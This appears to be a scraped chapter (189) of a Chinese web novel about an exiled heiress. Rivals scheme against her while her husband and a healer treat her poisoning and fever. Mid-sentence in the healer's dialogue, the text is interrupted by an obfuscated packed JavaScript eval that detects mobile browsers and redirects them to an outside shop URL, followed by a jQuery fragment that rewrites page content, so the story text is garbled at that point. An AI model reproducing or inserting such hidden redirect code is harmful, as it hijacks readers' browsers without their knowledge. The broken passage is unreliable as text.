第189章 名贵的草药

作品:《假千金,真凤凰,流放路上虐渣忙

    凭什么呢?


    只是一个流放犯而已。


    即便如今还活着,那也活不了多久了。


    为何要去讨好?


    谢清姝嘴上没说,心中却愤愤不平。


    原以为嫁得状元郎,日后定能顺风顺水,可是不知为何,总觉得冥冥之中像是有什么在改变。


    不说其他,堂堂状元郎,遇到事情竟毫无办法,背靠着有权有势的岳丈,有什么好怕的,竟然还要去结识别的县令大人,着实无奈的很。


    她余光看了一眼跪在地上的沈棠宁,又看了看旁边的名贵药草,脸色阴沉。


    一而再再而三被谢栀欢坑。


    如今手里的银子已经不多了。


    不仅如此,还有一张欠条在边关将军那里呢。


    她的嫁妆所剩无几。


    名贵的药材还等着将来生孩子的时候用呢,谢止灼重伤之时都没舍得拿出来,现在竟然要拿去讨好别人,心中的怒火蹭蹭蹭往上窜。


    马车内突然陷入安静。


    沈棠宁端茶倒水跪的规规矩矩,目光却不停闪动。


    得知谢栀欢出事之后,最高兴的就是她了。


    自己过得不好又如何,只要敌人过得凄惨,高兴的不得了。


    她摸了摸袖子里面的东西,眼底闪过一抹冷意。


    马车哒哒哒向山脚下走去,姜辞垂着眸子,眼底晦暗不明。


    而另一辆马车内的谢止灼,思绪万千。


    他掀开帘子,眼神看向荒凉的大山,“等回到京城之后,我会去禀明父亲母亲,你们去别处当差吧。”


    马车内伺候的两人扑通一声跪在地上。


    “主子,您说的这是什么话?我们二人跟着您一起长大,怎么会离开你呢。”


    谢止灼淡漠的看了他二人一眼,“多说无益,你们的父母也是府中有头有脸的人,待在我这儿太屈才了。”


    患难见真情。


    这两人也是跟着他一起长大的。


    原以为三人感情深厚,可自从出事之后,看到二人轻慢的样子,便知道他们已然有了别的想法。


    他身边从不留有二心之人。


    跪在地上的二人还想开口说什么,见他态度坚决,闭上了嘴巴。


    ……


    小山村内。


    安排好一切的霍宥川去而复返。


    他踏步而入,坐在床上,目光沉沉的看着昏迷不醒的人。


    此时的谢栀欢躺在床榻之上,往日那双灵动的眸子死死的闭着,昏昏沉沉,睫毛轻颤。


    那红彤彤的脸颊如同发烧了一般,额头的碎发早已被汗水浸湿。


    不知道是不是做噩梦了,她突然抬手胡乱抓着,嘴里面也在呢喃着什么。


    霍宥川慢慢的弯下身子,想要听清声音,可谢栀欢却突然死死咬着下唇一言不发,额头汗水流的更凶了。


    转眼间,枕头已经被汗水浸湿。


    他愣了一下,抬手要帮谢栀欢擦拭汗水,可仔细一看才发现,谢栀欢身上的衣服也已经被汗水浸湿。


    掀开被子,那衣服湿哒哒的粘在身上,玲珑的曲线若隐若现。


    他瞳孔猛然一缩,下意识的想要把青黛等人叫进来,可,抬头却发现他们全在厨房熬药。


    床榻之上,谢栀欢汗水流个不停,整个人像是从水里面捞出来的一样。


    夫妻本为一体。


    虽有名无实,但也是夫妻,霍宥川坐在床侧,下巴紧绷,目光幽暗,眼底满是挣扎。


    思索片刻,他一只手将谢栀欢抱了起来,闭上眼睛,蘸湿的衣服全部扯掉,然后将人又塞进被子里。


    忙完一切,他身上也如同水里面捞出来的一样,满头大汗。


    时间缓缓流逝。


    谢栀欢不知道是不是太热了,竟然把手从被子里面伸了出来。


    霍宥川瞳孔猛然一缩,抓住那纤细的手腕,将人塞回了被子里。


    “好热呀……”


    谢栀欢再次掀开被子,露出了那洁白的肌肤,同时,喉间溢出细碎的呢喃。


    霍宥川瞳孔猛然一缩,下意识的将被子再次将其盖好,不过,当指尖接触到那滚烫的肌肤时,整个人愣住了。


    难道是发烧了?


    会不会伤到了脑子?


    他转身走了出去,“明月快来看看,他发烧了。”


    明月听到声音,快步跑了回来,当手指放到脉搏上时,面色凝重,“这些混账东西,竟然还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262552|196292||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    藏了别的**。”


    别以为谢栀欢只是中了一种毒,可现在看来却并非如此。


    他慌忙的跑出去,再回来时,手里拿着银针和一只毒虫。


    众目睽睽之下,他快速掀开被子,将毒虫放到谢栀欢的喉间。


    在众人惊恐的目光,毒虫贴着谢栀欢的喉咙一口咬了上去。


    嘶。


    昏迷中的谢栀欢疼的整张脸皱成一团,两只手胡乱挥舞。


    “把人摁住。”


    听到明月的声音,霍宥川和青黛一左一右按住她的手脚,不许她动。


    时间缓缓流逝。


    不知过了多久,谢栀欢终于不再挣扎,而刚刚那只毒虫却死翘翘了。


    如同扔掉,细碎的伤口有丝丝黑血渗出。


    “这是怎么了?我家主子不会有事吧?”青黛被刚刚的一幕吓坏了,声音哽咽,身体更是颤个不停。


    镇定自若的霍宥川手慢慢的握成拳,脸色阴沉,“可会改变计划?”


    明月摇头,“你在这守着,我们去熬药……”


    话音未落,带着青黛已然走了出去。


    太阳西下。


    房间内光线昏暗。


    躺在床上的谢栀欢再次陷入昏迷,那张生命力极强的脸此时惨白一片。


    霍宥川坐在一旁叹了口气,手指轻轻的摩挲着谢栀欢发烫的脸颊,声音冰冷,“真是该死。”


    整个小院寂静无声,落针可闻。


    突然马蹄声打破了平静。


    “哎呀,我可怜的姐姐,怎么会突然出事呢,妹妹来看你了。”


    人未至,声先到。


    霍宥川皱着眉回头看去,谢清姝在沈棠宁的搀扶下走了进来。


    黄鼠狼给鸡拜年没安好心。


    听着那虚伪的哭声,他想也不想,冷声呵斥,“人正睡着呢,小点声。”


    声音不高不低,却自带威严,不容置疑。


    谢清姝声音戛然而止,下意识抬头,当对上那双冰冷的眸子时,身子不由得一颤,眼底带着几分恐惧。


    没办法,杀神的名号太强了。


    更何况上辈子的他,就是用这样厌恶的眼神看着她的。